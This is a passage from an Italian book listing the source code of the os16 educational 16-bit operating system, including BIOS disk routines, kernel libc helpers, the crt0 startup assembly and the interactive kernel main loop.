1250039             status = dsk_read_sectors (drive, sector, sector_buffer, 1);
1250040             if (status != 0)
1250041               {
1250042                 return (k);
1250043               }
1250044           }
1250045       }
1250046     return (k);
1250047 }
```

105.5.26 kernel/ibm_i86/dsk_read_sectors.c

Si veda la sezione 104.4.

```
1260001 #include <kernel/ibm_i86.h>
1260002 #include <kernel/k_libc.h>
1260003 #include <sys/os16.h>
1260004 #include <sys/types.h>
1260005 #include <stdint.h>
1260006 //----------------------------------------------------------------------
1260007 int
1260008 dsk_read_sectors (int drive, unsigned int start_sector, void *buffer,
1260009                   unsigned int n_sectors)
1260010 {
```

```
1260011     int          status;
1260012     unsigned int retry;
1260013     unsigned int remaining;
1260014     dsk_chs_t    chs;
1260015     dsk_sector_to_chs (drive, start_sector, &chs);
1260016     remaining = dsk_table[drive].sectors - chs.sector + 1;
1260017     if (remaining < n_sectors)
1260018       {
1260019         status = dsk_read_sectors (drive, start_sector, buffer,
1260020                                    remaining);
1260021         if (status == 0)
1260022           {
1260023             status = dsk_read_sectors (drive, start_sector + remaining,
1260024                                        buffer, n_sectors - remaining);
1260025           }
1260026         return (status);
1260027       }
1260028     else
1260029       {
1260030         for (retry = 0; retry < dsk_table[drive].retry; retry++)
1260031           {
1260032             status = int13_02 (dsk_table[drive].bios_drive, n_sectors,
1260033                                chs.cylinder, chs.head, chs.sector,
1260034                                buffer);
1260035             status = status & 0x00F0;
1260036             if (status == 0)
1260037               {
1260038                 break;
1260039               }
1260040             else
1260041               {
1260042                 dsk_reset (drive);
1260043               }
1260044           }
1260045       }
1260046     if (status == 0)
1260047       {
1260048         return (0);
1260049       }
1260050     else
1260051       {
1260052         return (-1);
1260053       }
1260054 }
```

105.5.27 kernel/ibm_i86/dsk_reset.c

Si veda la sezione 104.4.

```
1270001 #include <kernel/ibm_i86.h>
1270002 #include <kernel/k_libc.h>
1270003 #include <sys/os16.h>
1270004 #include <sys/types.h>
1270005 #include <stdint.h>
1270006 //----------------------------------------------------------------------
1270007 int
1270008 dsk_reset (int drive)
1270009 {
1270010     unsigned int status;
1270011     status = int13_00 (dsk_table[drive].bios_drive);
1270012     if (status == 0)
1270013       {
1270014         return (0);
1270015       }
1270016     else
1270017       {
1270018         return (-1);
1270019       }
1270020 }
```

105.5.28 kernel/ibm_i86/dsk_sector_to_chs.c

Si veda la sezione 104.4.

```
1280001 #include <kernel/ibm_i86.h>
1280002 #include <kernel/k_libc.h>
1280003 #include <sys/os16.h>
1280004 #include <sys/types.h>
1280005 #include <stdint.h>
1280006 //----------------------------------------------------------------------
1280007 void
1280008 dsk_sector_to_chs (int drive, unsigned int sector, dsk_chs_t *chs)
1280009 {
1280010     unsigned int sectors_per_cylinder;
1280011     sectors_per_cylinder = (dsk_table[drive].sectors
1280012                             * dsk_table[drive].heads);
1280013     chs->cylinder        = sector / sectors_per_cylinder;
1280014     sector               = sector % sectors_per_cylinder;
1280015     chs->head            = sector / dsk_table[drive].sectors;
1280016     sector               = sector % dsk_table[drive].sectors;
1280017     chs->sector          = sector + 1;
1280018 }
```

105.5.29 kernel/ibm_i86/dsk_setup.c

Si veda la sezione 104.4.

```
1290001 #include <kernel/ibm_i86.h>
1290002 //----------------------------------------------------------------------
1290003 void
1290004 dsk_setup (void)
1290005 {
1290006   dsk_reset (0);
1290007   dsk_table[0].bios_drive = 0x00;  // A: 1440 Kibyte floppy disk.
1290008   dsk_table[0].cylinders  = 80;
1290009   dsk_table[0].heads      = 2;
1290010   dsk_table[0].sectors    = 18;
1290011   dsk_table[0].retry      = 3;
1290012   dsk_reset (1);
1290013   dsk_table[1].bios_drive = 0x01;  // B: 1440 Kibyte floppy disk.
1290014   dsk_table[1].cylinders  = 80;
1290015   dsk_table[1].heads      = 2;
1290016   dsk_table[1].sectors    = 18;
1290017   dsk_table[1].retry      = 3;
1290018   dsk_reset (2);
1290019   dsk_table[2].bios_drive = 0x80;  // C: like a 2880 Kibyte floppy disk.
1290020   dsk_table[2].cylinders  = 80;
1290021   dsk_table[2].heads      = 2;
1290022   dsk_table[2].sectors    = 36;
1290023   dsk_table[2].retry      = 3;
1290024   dsk_reset (3);
1290025   dsk_table[3].bios_drive = 0x81;  // D: like a 2880 Kibyte floppy disk.
1290026   dsk_table[3].cylinders  = 80;
1290027   dsk_table[3].heads      = 2;
1290028   dsk_table[3].sectors    = 36;
1290029   dsk_table[3].retry      = 3;
1290030 }
```

105.5.30 kernel/ibm_i86/dsk_table.c

Si veda la sezione 104.4.

```
1300001 #include <kernel/ibm_i86.h>
1300002 //----------------------------------------------------------------------
1300003 dsk_t dsk_table[DSK_MAX];
```

105.5.31 kernel/ibm_i86/dsk_write_bytes.c

Si veda la sezione 104.4.

```
1310001 #include <kernel/ibm_i86.h>
1310002 #include <kernel/k_libc.h>
1310003 #include <sys/os16.h>
1310004 #include <sys/types.h>
1310005 #include <stdint.h>
1310006 //----------------------------------------------------------------------
1310007 size_t
1310008 dsk_write_bytes (int drive, off_t offset, void *buffer, size_t count)
1310009 {
1310010     unsigned char *data_buffer = (unsigned char *) buffer;
1310011     int            status;
1310012     unsigned int   sector;
1310013     unsigned char  sector_buffer[DSK_SECTOR_SIZE];
1310014     int            i;
1310015     int            j = 0;
1310016     size_t         k = 0;
1310017     size_t         m = 0;
1310018 
1310019     sector = offset / DSK_SECTOR_SIZE;
1310020     i      = offset % DSK_SECTOR_SIZE;
1310021     status = dsk_read_sectors (drive, sector, sector_buffer, 1);
1310022 
1310023     if (status != 0)
1310024       {
1310025         return ((size_t) 0);
1310026       }
1310027 
1310028     while (count)
1310029       {
1310030         m = k;
1310031         for (; i < DSK_SECTOR_SIZE && count > 0;
1310032                i++, j++, k++, count--, offset++)
1310033           {
1310034             sector_buffer[i] = data_buffer[j];
1310035           }
1310036         status = dsk_write_sectors (drive, sector, sector_buffer, 1);
1310037         if (status != 0)
1310038           {
1310039             return (m);
1310040           }
1310041         if (count)
1310042           {
1310043             sector = offset / DSK_SECTOR_SIZE;
1310044             i      = offset % DSK_SECTOR_SIZE;
1310045             status = dsk_read_sectors (drive, sector, sector_buffer, 1);
1310046             if (status != 0)
1310047               {
1310048                 return (m);
1310049               }
```

```
1310050             }
1310051         }
1310052     return (k);
1310053 }
1310054
1310055
```

105.5.32 kernel/ibm_i86/dsk_write_sectors.c

Si veda la sezione 104.4.

```
1320001 #include <kernel/ibm_i86.h>
1320002 #include <kernel/k_libc.h>
1320003 #include <sys/os16.h>
1320004 #include <sys/types.h>
1320005 #include <stdint.h>
1320006 //----------------------------------------------------------------------
1320007 int
1320008 dsk_write_sectors (int drive, unsigned int start_sector, void *buffer,
1320009                    unsigned int n_sectors)
1320010 {
1320011     int          status;
1320012     unsigned int retry;
1320013     unsigned int remaining;
1320014     dsk_chs_t    chs;
1320015     dsk_sector_to_chs (drive, start_sector, &chs);
1320016     remaining = dsk_table[drive].sectors - chs.sector + 1;
1320017     if (remaining < n_sectors)
1320018       {
1320019         status = dsk_write_sectors (drive, start_sector,
1320020                                     buffer, remaining);
1320021         if (status == 0)
1320022           {
1320023             status = dsk_write_sectors (drive,
1320024                                         start_sector + remaining,
1320025                                         buffer, n_sectors - remaining);
1320026           }
1320027         return (status);
1320028       }
1320029     else
1320030       {
1320031         for (retry = 0; retry < dsk_table[drive].retry; retry++)
1320032           {
1320033             status = int13_03 (dsk_table[drive].bios_drive, n_sectors,
1320034                                chs.cylinder, chs.head, chs.sector,
1320035                                buffer);
1320036             status = status & 0x00F0;
1320037             if (status == 0)
1320038               {
1320039                 break;
1320040               }
```

```
1320041                 else
1320042                   {
1320043                     dsk_reset (drive);
1320044                   }
1320045               }
1320046           }
1320047         if (status == 0)
1320048           {
1320049             return (0);
1320050           }
1320051         else
1320052           {
1320053             return (-1);
1320054           }
1320055     }
```

105.5.33 kernel/ibm_i86/irq_off.c

Si veda la sezione 104.4.

```
1330001 #include <kernel/ibm_i86.h>
1330002 #include <kernel/k_libc.h>
1330003 #include <sys/os16.h>
1330004 #include <sys/types.h>
1330005 #include <stdint.h>
1330006 //----------------------------------------------------------------------
1330007 void
1330008 irq_off (unsigned int irq)
1330009 {
1330010     unsigned int mask;
1330011     unsigned int status;
1330012     if (irq > 7)
1330013       {
1330014         return; // Only XT IRQs are handled.
1330015       }
1330016     else
1330017       {
1330018         mask   = (1 << irq);
1330019         status = in_8 (0x21);
1330020         status = status | mask;
1330021         out_8 (0x21, status);
1330022       }
1330023 }
```

105.5.34 kernel/ibm_i86/irq_on.c

Si veda la sezione 104.4.

```
1340001 #include <kernel/ibm_i86.h>
1340002 #include <kernel/k_libc.h>
1340003 #include <sys/os16.h>
1340004 #include <sys/types.h>
1340005 #include <stdint.h>
1340006 //----------------------------------------------------------------------
1340007 void
1340008 irq_on (unsigned int irq)
1340009 {
1340010     unsigned int mask;
1340011     unsigned int status;
1340012     if (irq > 7)
1340013       {
1340014         return; // Only XT IRQs are handled.
1340015       }
1340016     else
1340017       {
1340018         mask   = ~(1 << irq);
1340019         status = in_8 (0x21);
1340020         status = status & mask;
1340021         out_8 (0x21, status);
1340022       }
1340023 }
```

105.6 os16: «kernel/k_libc.h»

Si veda la sezione 104.5.

```
1350001 #ifndef _KERNEL_K_LIBC_H
1350002 #define _KERNEL_K_LIBC_H       1
1350003 
1350004 #include <const.h>
1350005 #include <restrict.h>
1350006 #include <size_t.h>
1350007 #include <clock_t.h>
1350008 #include <time_t.h>
1350009 #include <sys/types.h>
1350010 #include <stdarg.h>
1350011 
1350012 //----------------------------------------------------------------------
1350013 void     k_exit     (int status);
1350014 //----------------------------------------------------------------------
1350015 clock_t k_clock     (void);
1350016 int      k_stime    (time_t *timer);
1350017 time_t   k_time     (time_t *timer);
1350018 //----------------------------------------------------------------------
1350019 int      k_puts     (const char *string);
```

```
1350020 int      k_printf   (const char *restrict format, ...);
1350021 int      k_vprintf  (const char *restrict format, va_list arg);
1350022 int      k_vsprintf (char *restrict string, const char *restrict format,
1350023                      va_list arg);
1350024 void     k_perror   (const char *s);
1350025
1350026 int      k_kill     (pid_t pid, int sig);
1350027 int      k_open     (const char *file, int oflags, ...);
1350028 void     k_close    (int fd);
1350029 ssize_t k_read      (int fd, void *buffer, size_t count);
1350030 //----------------------------------------------------------------------
1350031
1350032 #endif
```

105.6.1 kernel/k_libc/k_clock.c

Si veda la sezione 104.5.

```
1360001 #include <kernel/k_libc.h>
1360002 //----------------------------------------------------------------------
1360003 extern clock_t _clock_ticks;    // uint32_t
1360004 //----------------------------------------------------------------------
1360005 clock_t
1360006 k_clock (void)
1360007 {
1360008     return (_clock_ticks);
1360009 }
```

105.6.2 kernel/k_libc/k_close.c

Si veda la sezione 104.5.

```
1370001 #include <kernel/k_libc.h>
1370002 #include <kernel/fs.h>
1370003 //----------------------------------------------------------------------
1370004 void
1370005 k_close (int fdn)
1370006 {
1370007     fd_close ((pid_t) 0, fdn);
1370008     return;
1370009 }
```

105.6.3 kernel/k_libc/k_exit.s

Si veda la sezione 104.5.

```
1380001 .global _k_exit
1380002 ;----------------------------------------------------------------------
1380003 .text
1380004 ;----------------------------------------------------------------------
1380005 .align 2
1380006 _k_exit:
1380007 halt:
1380008     hlt
1380009     jmp halt
```

105.6.4 kernel/k_libc/k_kill.c

Si veda la sezione 104.5.

```
1390001 #include <kernel/k_libc.h>
1390002 #include <kernel/proc.h>
1390003 //----------------------------------------------------------------------
1390004 int
1390005 k_kill (pid_t pid, int sig)
1390006 {
1390007     return (proc_sys_kill ((pid_t) 0, pid, sig));
1390008 }
```

105.6.5 kernel/k_libc/k_open.c

Si veda la sezione 104.5.

```
1400001 #include <kernel/k_libc.h>
1400002 #include <kernel/fs.h>
1400003 #include <stdarg.h>
1400004 #include <string.h>
1400005 #include <errno.h>
1400006 //----------------------------------------------------------------------
1400007 int
1400008 k_open (const char *file, int oflags, ...)
1400009 {
1400010     mode_t  mode;
1400011     va_list ap;
1400012     //
1400013     va_start (ap, oflags);
1400014     mode = va_arg (ap, mode_t);
1400015     //
1400016     if (file == NULL || strlen (file) == 0)
1400017       {
1400018         errset (EINVAL);        // Invalid argument.
1400019         return (-1);
```

```
1400020         }
1400021       return (fd_open ((pid_t) 0, file, oflags, mode));
1400022   }
```

105.6.6 kernel/k_libc/k_perror.c

Si veda la sezione 104.5.

```
1410001   #include <kernel/k_libc.h>
1410002   #include <errno.h>
1410003   //----------------------------------------------------------------------
1410004   void
1410005   k_perror (const char *s)
1410006   {
1410007       //
1410008       // If errno is zero, there is nothing to show.
1410009       //
1410010       if (errno == 0)
1410011         {
1410012           return;
1410013         }
1410014       //
1410015       // Show the string if there is one.
1410016       //
1410017       if (s != NULL && strlen (s) > 0)
1410018         {
1410019           k_printf ("%s: ", s);
1410020         }
1410021       //
1410022       // Show the translated error.
1410023       //
1410024       if (errfn[0] != 0 && errln != 0)
1410025         {
1410026           k_printf ("[%s:%u:%i] %s\n",
1410027                       errfn, errln, errno, strerror (errno));
1410028         }
1410029       else
1410030         {
1410031           k_printf ("[%i] %s\n", errno, strerror (errno));
1410032         }
1410033   }
```

105.6.7 kernel/k_libc/k_printf.c

Si veda la sezione 104.5.

```
1420001 #include <stdarg.h>
1420002 #include <kernel/k_libc.h>
1420003 //----------------------------------------------------------------------
1420004 int
1420005 k_printf  (const char *restrict format, ...)
1420006 {
1420007     va_list ap;
1420008     va_start (ap, format);
1420009     return k_vprintf (format, ap);
1420010 }
```

105.6.8 kernel/k_libc/k_puts.c

Si veda la sezione 104.5.

```
1430001 #include <sys/os16.h>
1430002 #include <kernel/devices.h>
1430003 #include <kernel/k_libc.h>
1430004 #include <string.h>
1430005 //----------------------------------------------------------------------
1430006 int
1430007 k_puts (const char *string)
1430008 {
1430009     dev_io ((pid_t) 0, DEV_TTY, DEV_WRITE, (off_t) 0, string,
1430010             strlen (string), NULL);
1430011     dev_io ((pid_t) 0, DEV_TTY, DEV_WRITE, (off_t) 0, "\n", 1, NULL);
1430012     return 1;
1430013 }
```

105.6.9 kernel/k_libc/k_read.c

Si veda la sezione 104.5.

```
1440001 #include <kernel/k_libc.h>
1440002 #include <kernel/fs.h>
1440003 //----------------------------------------------------------------------
1440004 ssize_t
1440005 k_read (int fdn, void *buffer, size_t count)
1440006 {
1440007     int     eof;
1440008     ssize_t size;
1440009     //
1440010     eof = 0;
1440011     //
1440012     while (1)
1440013       {
```

```
1440014             size += fd_read ((pid_t) 0, fdn, buffer, count, &eof);
1440015             if (size != 0 || eof)
1440016               {
1440017                 break;
1440018               }
1440019           }
1440020         return (size);
1440021     }
```

105.6.10 kernel/k_libc/k_stime.c

Si veda la sezione 104.5.

```
1450001 #include <kernel/k_libc.h>
1450002 //----------------------------------------------------------------------
1450003 extern time_t  _clock_seconds;   // uint32_t
1450004 //----------------------------------------------------------------------
1450005 int
1450006 k_stime (time_t *timer)
1450007 {
1450008     _clock_seconds = *timer;
1450009     return (0);
1450010 }
```

105.6.11 kernel/k_libc/k_time.c

Si veda la sezione 104.5.

```
1460001 #include <kernel/k_libc.h>
1460002 #include <stddef.h>
1460003 //----------------------------------------------------------------------
1460004 extern time_t  _clock_seconds;   // uint32_t
1460005 //----------------------------------------------------------------------
1460006 time_t
1460007 k_time (time_t *timer)
1460008 {
1460009     if (timer != NULL)
1460010       {
1460011         *timer = _clock_seconds;
1460012       }
1460013     return (_clock_seconds);
1460014 }
```

105.6.12 kernel/k_libc/k_vprintf.c

Si veda la sezione 104.5.

```
1470001 #include <sys/os16.h>
1470002 #include <kernel/devices.h>
1470003 #include <stdarg.h>
1470004 #include <kernel/k_libc.h>
1470005 #include <string.h>
1470006 //----------------------------------------------------------------------
1470007 int
1470008 k_vprintf (const char *restrict format, va_list arg)
1470009 {
1470010     char  string[BUFSIZ];
1470011     int   ret;
1470012     string[0] = 0;
1470013     ret = k_vsprintf (string, format, arg);
1470014     dev_io ((pid_t) 0, DEV_CONSOLE, DEV_WRITE, (off_t) 0, string,
1470015             strlen (string), NULL);
1470016     return ret;
1470017 }
```

105.6.13 kernel/k_libc/k_vsprintf.c

Si veda la sezione 104.5.

```
1480001 #include <stdarg.h>
1480002 #include <kernel/k_libc.h>
1480003 #include <stdio.h>
1480004 //----------------------------------------------------------------------
1480005 int
1480006 k_vsprintf (char *restrict string, const char *restrict format,
1480007           va_list arg)
1480008 {
1480009     int   ret;
1480010     ret = vsnprintf (string, BUFSIZ, format, arg);
1480011     return ret;
1480012 }
```

105.7 os16: «kernel/main.h»

Si veda la sezione 104.6.

```
1490001 #ifndef _KERNEL_MAIN_H
1490002 #define _KERNEL_MAIN_H  1
1490003 
1490004 #include <sys/types.h>
1490005 
1490006 void  menu (void);
1490007 pid_t run  (char *path, char *argv[], char *envp[]);
```

```
1490008 int   main (int argc, char *argv[], char *envp[]);
1490009
1490010 #endif
```

105.7.1 kernel/main/build.h

Si veda la sezione 104.6.

```
1500001 #define BUILD_DATE "2010.07.26 16:33:58"
```

105.7.2 kernel/main/crt0.s

Si veda la sezione 95.2.2.

```
1510001 .extern _main
1510002 .global ___mkargv
1510003 ;-------------------------------------------------------------------------
1510004 ; Please note that, at the beginning, all the segment registers are
1510005 ; the same: CS==DS==ES==SS. But the data segments (DS, ES, SS) are meant
1510006 ; to be separated from the code, and they starts at: CS + __segoff.
1510007 ; The label "__segoff" is replaced by the linker with a constant value
1510008 ; (inside the code) with the segment offset to add to CS; this way
1510009 ; it is possibile to find where DS and ES should start.
1510010 ;-------------------------------------------------------------------------
1510011 ; The following statement says that the code will start at "startup"
1510012 ; label.
1510013 ;-------------------------------------------------------------------------
1510014 entry startup
1510015 ;-------------------------------------------------------------------------
1510016 .text
1510017 ;-------------------------------------------------------------------------
1510018 startup:
1510019     ;
1510020     ; Jump after initial data.
1510021     ;
1510022     jmp startup_code
1510023     ;
1510024 filler:
1510025     ;
1510026     ; After four bytes, from the start, there is the
1510027     ; magic number and other data.
1510028     ;
1510029     .space (0x0004 - (filler - startup))
1510030 magic:
1510031     ;
1510032     ; Add to "/etc/magic" the following line:
1510033     ;
1510034     ; 4  quad  0x6B65726E6F733136  os16 kernel
1510035     ;
```

```
1510036     .data4 0x6F733136   ; os16
1510037     .data4 0x6B65726E   ; kern
1510038     ;
1510039 segoff:                 ;
1510040     .data2 __segoff     ; These values, for a kernel image,
1510041 etext:                  ; are not used.
1510042     .data2 __etext      ;
1510043 edata:                  ;
1510044     .data2 __edata      ;
1510045 ebss:                   ;
1510046     .data2 __end        ;
1510047 stack_size:             ;
1510048     .data2 0x0000       ;
1510049     ;
1510050     ; At the next label, the work begins.
1510051     ;
1510052 .align 2
1510053 startup_code:
1510054     ;
1510055     ; Check where we are. If we are at segment 0x1000,
1510056     ; then move to 0x3000.
1510057     ;
1510058     mov cx, cs
1510059     xor cx, #0x1000
1510060     jcxz move_code_from_0x1000_to_0x3000
1510061     ;
1510062     ; Check where we are. If we are at segment 0x3000,
1510063     ; then move to 0x0050, preserving the IVT and the BDA.
1510064     ;
1510065     mov cx, cs
1510066     xor cx, #0x3000
1510067     jcxz move_code_from_0x3000_to_0x0050
1510068     ;
1510069     ; Check where we are. If we are at segment 0x1050,
1510070     ; then jump to the main code.
1510071     ;
1510072     mov cx, cs
1510073     xor cx, #0x1050
1510074     jcxz main_code
1510075     ;
1510076     ; Otherwise, just halt.
1510077     ;
1510078     hlt
1510079     jmp startup_code
1510080     ;
1510081 move_code_from_0x1000_to_0x3000:
1510082     ;
1510083     cld                 ; Clear direction flag.
1510084     mov   ax, #0x3000   ; Set ES as the destination segment.
1510085     mov   es, ax        ;
1510086     mov   ax, #0x1000   ; Set DS as the source segment.
1510087     mov   ds, ax        ;
```

```
1510088         ;
1510089         mov   cx, #0x8000   ; Move 32768 words = 65536 byte (64 Kibyte).
1510090         mov   si, #0x0000   ; DS:SI == Source pointer
1510091         mov   di, #0x0000   ; ES:DI == Destination pointer
1510092         rep
1510093         movsw               ; Copy the array of words
1510094         ;
1510095         mov   ax, #0x4000   ; Set ES as the destination segment.
1510096         mov   es, ax        ;
1510097         mov   ax, #0x2000   ; Set DS as the source segment.
1510098         mov   ds, ax        ;
1510099         ;
1510100         mov   cx, #0x8000   ; Move 32768 words = 65536 byte (64 Kibyte).
1510101         mov   si, #0x0000   ; DS:SI == Source pointer
1510102         mov   di, #0x0000   ; ES:DI == Destination pointer
1510103         rep
1510104         movsw               ; Copy the array of words
1510105         ;
1510106         jmp far #0x3000:#0x0000     ; Go to the new kernel copy.
1510107         ;
1510108     move_code_from_0x3000_to_0x0050:
1510109         cld                 ; Clear direction flag.
1510110         ;
1510111         ; Text (instructions) is moved at segment 0x1050 (address 0x10500).
1510112         ;
1510113         mov   ax, #0x1050   ; Set ES as the destination segment.
1510114         mov   es, ax        ;
1510115         mov   ax, #0x3000   ; Set DS as the source segment.
1510116         mov   ds, ax        ;
1510117         ;
1510118         mov   cx, #0x8000   ; Move 32768 words = 65536 byte (64 Kibyte).
1510119         mov   si, #0x0000   ; DS:SI == Source pointer
1510120         mov   di, #0x0000   ; ES:DI == Destination pointer
1510121         rep
1510122         movsw               ; Copy the array of words
1510123         ;
1510124         ; Data is moved at segment 0x0050 (address 0x00500), before the
1510125         ; text segment.
1510126         ;
1510127         mov   ax, #0x0050   ; Set ES as the destination segment.
1510128         mov   es, ax        ;
1510129         mov   ax, #0x3000   ; Calculate where is the data segment:
1510130         add   ax, #__segoff ; it is at 0x3000 + __segoff.
1510131         mov   ds, ax        ; Set DS as the source segment.
1510132         ;
1510133         mov   cx, #0x8000   ; Move 32768 words = 65536 byte (64 Kibyte).
1510134         mov   si, #0x0000   ; DS:SI == Source pointer
1510135         mov   di, #0x0000   ; ES:DI == Destination pointer
1510136         rep
1510137         movsw               ; Copy the array of words
1510138         ;
1510139         jmp far #0x1050:#0x0000 ; Go to the new kernel copy.
```

```
1510140     ;
1510141 ;----------------------------------------------------------------------
1510142 main_code:
1510143     ;
1510144     ; Fix data segments!
1510145     ;
1510146     mov  ax, #0x0050
1510147     mov  ds, ax
1510148     mov  ss, ax
1510149     mov  es, ax
1510150     ;
1510151     ; Fix SP at the kernel stack bottom: the effective stack pointer
1510152     ; value should be 0x10000, but only 0x0000 can be written. At the
1510153     ; first push SP reaches 0xFFFE.
1510154     ;
1510155     mov sp, #0x0000
1510156     ;
1510157     ; Reset flags.
1510158     ;
1510159     push #0
1510160     popf
1510161     cli
1510162     ;
1510163     ; Call C main function, after kernel relocation and segments set up.
1510164     ;
1510165     push #0     ; This zero means NULL (envp[][] == NULL)
1510166     push #0     ; This zero means NULL (argv[][] == NULL)
1510167     push #0     ; This other zero means no arguments.
1510168     call _main
1510169     add  sp, #2
1510170     add  sp, #2
1510171     add  sp, #2
1510172     ;
1510173 .align 2
1510174 halt:
1510175     ;
1510176     ; It will never come back from the _kmain() call, but just for extra
1510177     ; security, loop forever.
1510178     ;
1510179     hlt
1510180     jmp halt
1510181     ;
1510182 ;----------------------------------------------------------------------
1510183 .align 2
1510184 ___mkargv:      ; Symbol '___mkargv' is used by Bcc inside the function
1510185     ret         ; 'main()' and must be present for a successful
1510186                 ; compilation.
1510187 ;----------------------------------------------------------------------
1510188 .align 2
1510189 .data
1510190 ;
1510191 ;----------------------------------------------------------------------
```

```
1510192 .align 2
1510193 .bss
```

105.7.3 kernel/main/main.c

Si veda la sezione 104.6.

```
1520001 #include <kernel/main.h>
1520002 #include <errno.h>
1520003 #include <fcntl.h>
1520004 #include <kernel/main/build.h>
1520005 #include <kernel/diag.h>
1520006 #include <kernel/fs.h>
1520007 #include <kernel/ibm_i86.h>
1520008 #include <kernel/k_libc.h>
1520009 #include <kernel/proc.h>
1520010 #include <libgen.h>
1520011 #include <stdlib.h>
1520012 #include <sys/os16.h>
1520013 #include <sys/stat.h>
1520014 #include <sys/types.h>
1520015 #include <unistd.h>
1520016 //----------------------------------------------------------------------
1520017 int
1520018 main (int argc, char *argv[], char *envp[])
1520019 {
1520020     unsigned int key;
1520021     pid_t        pid;
1520022     char        *exec_argv[2];
1520023     int          status;
1520024     int          exit;
1520025     //
1520026     // Reset video and select the initial console.
1520027     //
1520028     tty_init ();
1520029     //
1520030     // Show compilation date and time.
1520031     //
1520032     k_printf ("os16 build %s ram %i Kibyte\n", BUILD_DATE, int12 ());
1520033     //
1520034     // Set up disk management.
1520035     //
1520036     dsk_setup ();
1520037     //
1520038     // Clear heap for diagnosis.
1520039     //
1520040     heap_clear ();
1520041     //
1520042     // Set up process management. Process set up need the file system
1520043     // root directory already available.
1520044     //
```

```
1520045         proc_init ();
1520046         //
1520047         // The kernel will run interactively.
1520048         //
1520049         menu ();
1520050         //
1520051         for (exit = 0; exit == 0;)
1520052           {
1520053             //
1520054             // While in kernel code, timer interrupt don't start the
1520055             // scheduler. The kernel must leave control to the scheduler
1520056             // via a null system call.
1520057             //
1520058             sys (SYS_0, NULL, 0);
1520059             //
1520060             // Back to work: read the keyboard from the TTY device.
1520061             //
1520062             dev_io ((pid_t) 0, DEV_TTY, DEV_READ, 0L, &key, 1, NULL);
1520063             //
1520064             // Depending on the key, do something.
1520065             //
1520066             if (key == 0)
1520067               {
1520068                 //
1520069                 // No key is ready in the buffer keyboard.
1520070                 //
1520071                 continue;
1520072               }
1520073             else
1520074               {
1520075                 //
1520076                 // Move back the cursor, so that next print will overwrite
1520077                 // it.
1520078                 //
1520079                 k_printf ("\b");
1520080               }
1520081             //
1520082             // A key was pressed: start to check what it was.
1520083             //
1520084             switch (key)
1520085               {
1520086                 case 'h':
1520087                     menu ();
1520088                     break;
1520089                 case '1':
1520090                     k_kill ((pid_t) 1, SIGKILL);                   // init
1520091                     break;
1520092                 case '2':
1520093                 case '3':
1520094                 case '4':
1520095                 case '5':
1520096                 case '6':
```

```
1520097                 case '7':
1520098                 case '8':
1520099                 case '9':
1520100                     k_kill ((pid_t) (key - '0'),  SIGTERM);        // others
1520101                     break;
1520102                 case 'A':
1520103                 case 'B':
1520104                 case 'C':
1520105                 case 'D':
1520106                 case 'E':
1520107                 case 'F':
1520108                     k_kill ((pid_t) (key - 'A' + 10),  SIGTERM);   // others
1520109                     break;
1520110                 case 'a':
1520111                     run ("/bin/aaa", NULL, NULL);
1520112                     break;
1520113                 case 'b':
1520114                     run ("/bin/bbb", NULL, NULL);
1520115                     break;
1520116                 case 'c':
1520117                     run ("/bin/ccc", NULL, NULL);
1520118                     break;
1520119                 case 'f':
1520120                     print_file_list ();
1520121                     break;
1520122                 case 'm':
1520123                     status = path_mount ((uid_t) 0, "/dev/dsk1", "/usr",
1520124                                          MOUNT_DEFAULT);
1520125                     if (status < 0)
1520126                       {
1520127                         k_perror (NULL);
1520128                       }
1520129                     break;
1520130                 case 'M':
1520131                     status = path_umount ((uid_t) 0, "/usr");
1520132                     if (status < 0)
1520133                       {
1520134                         k_perror (NULL);
1520135                       }
1520136                     break;
1520137                 case 'n':
1520138                     print_inode_list ();
1520139                     break;
1520140                 case 'N':
1520141                     print_inode_zones_list ();
1520142                     break;
1520143                 case 'l':
1520144                     k_kill ((pid_t) 1, SIGCHLD);
1520145                     break;
1520146                 case 'p':
1520147                     k_printf ("\n");
1520148                     print_proc_list ();
```

```
1520149                     print_segments ();
1520150                     k_printf (" ");
1520151                     print_kmem ();
1520152                     k_printf (" ");
1520153                     print_time ();
1520154                     k_printf ("\n");
1520155                     print_mb_map ();
1520156                     k_printf ("\n");
1520157                     break;
1520158                 case 'x':
1520159                     exit = 1;
1520160                     break;
1520161                 case 'q':
1520162                     k_printf ("System halted!\n");
1520163                     return (0);
1520164                     break;
1520165               }
1520166           }
1520167         //
1520168         // Load init.
1520169         //
1520170         exec_argv[0] = "/bin/init";
1520171         exec_argv[1] = NULL;
1520172         pid = run ("/bin/init", exec_argv, NULL);
1520173         //
1520174         // Just sleep.
1520175         //
1520176         while (1)
1520177           {
1520178             sys (SYS_0, NULL, 0);
1520179           }
1520180         //
1520181         k_printf ("System halted!\n");
1520182         return (0);
1520183     }
```

105.7.4 kernel/main/menu.c

Si veda la sezione 104.6.

```
1530001 #include <kernel/main.h>
1530002 #include <kernel/k_libc.h>
1530003 //----------------------------------------------------------------------
1530004 void
1530005 menu (void)
1530006 {
1530007     k_printf (
1530008 ".------------------------------------------------------------------.\n"
1530009 "| [h]      show this menu                                          |\n"
1530010 "| [p]      process status and memory map                           |\n"
1530011 "| [1]..[9] kill process  1 to 9                                    |\n"
```

```
1530012 "| [A]..[F] kill process 10 to 15                                  |\n"
1530013 "| [l]      send SIGCHLD to process 1                              |\n"
1530014 "| [a]..[c] run programs '/bin/aaa' to '/bin/ccc' in parallel      |\n"
1530015 "| [f]      system file status                                     |\n"
1530016 "| [n], [N] list of active inodes                                  |\n"
1530017 "| [m], [M] mount/umount '/dev/dsk1' at '/usr/'                    |\n"
1530018 "| [x]      exit interaction with kernel and start '/bin/init'      |\n"
1530019 "| [q]      quit kernel                                            |\n"
1530020 "`-----------------------------------------------------------------'\n"
1530021 );
1530022
1530023 }
```

105.7.5 kernel/main/run.c

Si veda la sezione 104.6.

```
1540001 #include <kernel/main.h>
1540002 #include <kernel/proc.h>
1540003 #include <kernel/k_libc.h>
1540004 #include <unistd.h>
1540005 //----------------------------------------------------------------------
1540006 pid_t
1540007 run (char *path, char *argv[], char *envp[])
1540008 {
1540009     pid_t pid;
1540010     //
1540011     pid = fork ();
1540012     if (pid == -1)
1540013       {
1540014         k_perror (NULL);
1540015       }
1540016     else if (pid == 0)
1540017       {
1540018         execve (path, argv, envp);
1540019         k_perror (NULL);
1540020         _exit (0);
1540021       }
1540022     return (pid);
1540023 }
1540024
```

105.8 os16: «kernel/memory.h»

Si veda la sezione 104.7.

```
1550001 #ifndef _KERNEL_MEMORY_H
1550002 #define _KERNEL_MEMORY_H       1
1550003
1550004 #include <stdint.h>
1550005 #include <stddef.h>
